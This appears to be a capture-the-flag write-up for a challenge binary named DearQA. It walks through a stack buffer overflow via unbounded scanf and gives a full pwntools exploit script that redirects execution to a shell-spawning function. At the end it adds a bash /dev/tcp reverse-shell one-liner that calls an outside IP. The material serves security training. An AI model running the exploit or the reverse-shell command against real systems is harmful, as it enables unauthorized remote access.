Are you able to solve this challenge involving reverse engineering and exploit development?
Enumeration
We have a 64 bit dynamically linked binary called DearQA.DearQA:
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
We know we need to attempt to PWN this. If we use checksec, we see it’s not looking good for this binary :
There’s probably a few ways we can do this but let’s dig deeper. We’re told to analyze this offline first so let’s start there. I’ll run this as intended:
It takes input and echos it back, nice. If we blinding try buffer overflow, we see we get a segmentation fault:
Let’s try open this up in a decompiler and see what it’s doing, starting with main:
undefined8 main(void)
{
undefined local_28 [32];
puts("Welcome dearQA");
puts("I am sysadmin, i am new in developing");
printf("What\'s your name: ");
fflush(stdout);
__isoc99_scanf(&DAT_00400851,local_28);
printf("Hello: %s\n",local_28);
return 0;
}
We get our output, the screen is flushed, then we have a scan function that takes in a value and stores it in local_28. There’s also a function called vuln we can look at:
void vuln(void)
{
puts("Congratulations!");
puts("You have entered in the secret function!");
fflush(stdout);
execve("/bin/bash",(char **)0x0,(char **)0x0);
return;
}
Looks as if our goal is to make our way over to the vuln function from the main function. Looking deeper into the individual functions called within main, we see scanf. Scanf doesn’t perform any prior boundry checking, allowing us to enter as many characters as we want even if it surpasses the buffer limit of the variable it’s being assigned to. It’s also worth noting the location of this variable:
var char *var_20h @ rbp-0x20
This means it’s at the current location of RBP – 0x20, we will need to incorporate this later on.
Scripting
So, we need to think about our exploit, we want to overwrite the final return address of the main function to point us to the vuln function instead of ending the program:
0040072e c9 LEAVE
0040072f c3 RET
Let’s starting scripting a local exploit:
import sys
from pwn import *
local = None
binPath = ""
ip = ""
port = 0
## Get address of vuln function
def getVulnAddr(static):
return p64(static.symbols.vuln)
## Generate payload to overflow + overwrite RBP to change RIP to vuln function addr
def genPayload(vulnAddr):
return b"A"*0x20 + b"B"*0x8 + vulnAddr
def main():
## Set context + get static binary for local analysis
context.binary = binary = binPath
static = ELF(binary)
payload = genPayload(getVulnAddr(static))
## Define process and send payload
if local is True:
p = process()
else:
p = remote(ip,port)
p.recvuntil(b"name:")
p.sendline(payload)
p.interactive()
## Argument handling
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
if sys.argv[1].lower() == "local":
local = True
binPath = sys.argv[2]
else:
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
main()
We run the script and get our shell:
In order to stabilize the shell a bit more, I grabbed a reverse shell using:
bash -i >& /dev/tcp/10.13.39.144/4443 0>&1
We get our flag from /home/ctf/flag.txt